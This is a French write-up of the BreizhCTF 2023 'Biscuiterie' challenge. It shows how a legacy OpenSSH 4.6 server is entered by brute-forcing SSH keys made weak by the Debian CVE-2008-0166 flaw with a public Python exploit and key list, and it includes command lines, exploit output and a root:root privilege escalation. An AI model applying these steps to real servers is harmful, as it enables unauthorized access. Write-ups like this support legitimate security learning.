BreizhCTF 2023 - Biscuiterie
Challenge details
Event | Challenge | Category | Points | Solves |
---|---|---|---|---|
BreizhCTF 2023 | Biscuiterie | Cryptographie | ??? | ??? |
Owen est administrateur de la célèbre biscuiterie bretonne ‘Le Poti Beurre’ fondée en 1866. Faute de budget, le parc informatique est aussi vieux que l’entreprise, et la machine d’administration d’Owen a rendu l’âme ce matin. Aidez Owen à reprendre la main sur le serveur de production de biscuits.
Voici quelques informations afin de vous aider dans votre tâche :
- Owen administrait ses serveurs en SSH sous le nom d’utilisateur
owen
; - N’étant pas un grand fan de mot de passe, Owen utilisait des clés SSH “sécurisées” pour chacuns de ses serveurs ;
- Le serveur de production de la biscuiterie est un vieux serveur sous Debian.
Auteur: Zeecka
ssh -p 30010 challenge.ctf.bzh
TL;DR
Le serveur ssh est vulnérable à la CVE-2008-0166, ce qui permet à un attaquant de bruteforcer de manière optimisée les clés SSH.
Méthodologie
Dans un premier temps nous récupérons la version du serveur SSH de la biscuiterie;
$ nc biscuiterie.ctf.bzh 22
SSH-1.99-OpenSSH_4.6
En tentant de se connecter avec l’utilisateur owen
, nous obtenons une première erreur:
$ ssh owen@biscuiterie.ctf.bzh
Unable to negotiate with biscuiterie.ctf.bzh port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss
Cette erreur est liée à notre version de client SSH trop récente pour supporter les formats ssha-rsa et ssh-dss. DSS étant le format de clé pour DSA, nous allons ajouter les options de support pour ssh-dss à notre client.
$ ssh -oHostKeyAlgorithms=+ssh-dss -oPubkeyAcceptedAlgorithms=+ssh-dss owen@biscuiterie.ctf.bzh
owen@127.0.0.1: Permission denied (publickey).
A la première tentative, une erreur liée au fichier
known_hosts
peut apparaître.
Nous pouvons confirmer que le serveur requiert une authentification par clé uniquement puisqu’aucun mot de passe n’est demandé.
Un recherche avec les mots clés suivants permet de tomber sur la CVE-2008-0166.
- OpenSSH 4.6
- Vulnerability
- Exploit
- DSA
- Key
La description de la CVE indique qu’un attaquant peut effectuer une attaque par bruteforce sur les clés SSH à cause d’un problème liée à la génération des clés.
De nombreux exploits sont displonibles à travers le web, nous alons retenir le repository github de g0tmi1k proposant la liste complète des clés DSA 1024 pour les serveurs Debian vulnérables. Le repository contient également des liens vers des scripts d’exploit dans plusieurs langages, nous allons utiliser l’exploit écrit en python 2.
Il ne suffit plus que de lancer l’exploit en spécifiant le bon utilisateur, le dossier contenant les différentes clés possibles, et le serveur vulnérable. Une modification du script peut être néncessaire pour ajouter les options -oHostKeyAlgorithms=+ssh-dss -oPubkeyAcceptedAlgorithms=+ssh-dss
(l.69 à coté de -o PasswordAuthentication=no
).
$ python exploit.py ./dsa/1024 biscuiterie.ctf.bzh owen
-OpenSSL Debian exploit- by ||WarCat team|| warcat.no-ip.org
Tested 163 keys | Remaining 32605 keys | Aprox. Speed 32/sec
Tested 332 keys | Remaining 32436 keys | Aprox. Speed 33/sec
...
Key Found in file: ff4602062c7d74bef8830c3e850c5022-10350
Execute: ssh -lowen -p22 -i ./dsa/1024/ff4602062c7d74bef8830c3e850c5022-10350 biscuiterie.ctf.bzh
Nous pouvons ensuite nous connecter avec la commande ssh suivante :
$ ssh -l owen -oHostKeyAlgorithms=+ssh-dss -oPubkeyAcceptedAlgorithms=+ssh-dss -i ./dsa/1024/ff4602062c7d74bef8830c3e850c5022-10350 biscuiterie.ctf.bzh
$ cat flag_user.txt
Préparation : 20min
Cuisson : 10min
1. Mélanger le beurre et le sucre.
Ajouter l’oeuf et mélanger.
Ajouter ensuite toute la farine d'un coup et malaxer à la main.
2. Réserver la pâte au frais, emballée dans un film alimentaire pendant au moins 1 heure.
------
Flag (part 1/2): BZHCTF{75%_de_Beurre_
L’élévation de privilège se fait ensuite à l’aide des identifiants faibles root:root
:
$ su root
# cat flag_root.txt
3. Etaler au rouleau sur un plan de travail fariné sur une épaisseur de 5 mm environ.
Utiliser des emporte-pièces pour faire les découpes.
4. Enfourner pendant 10 à 12 minutes à 180°C sur une plaque recouverte de papier cuisson.
5. Placer aussitôt les sablés sur une grille pour les faire refroidir.
Les sablés se conservent longtemps dans une boîte en métal hermétique.
------
Flag (part 1/2): et_75%_de_Sucre}
Flag
BZHCTF{75%_de_Beurre_et_75%_de_Sucre}
Auteur: Zeecka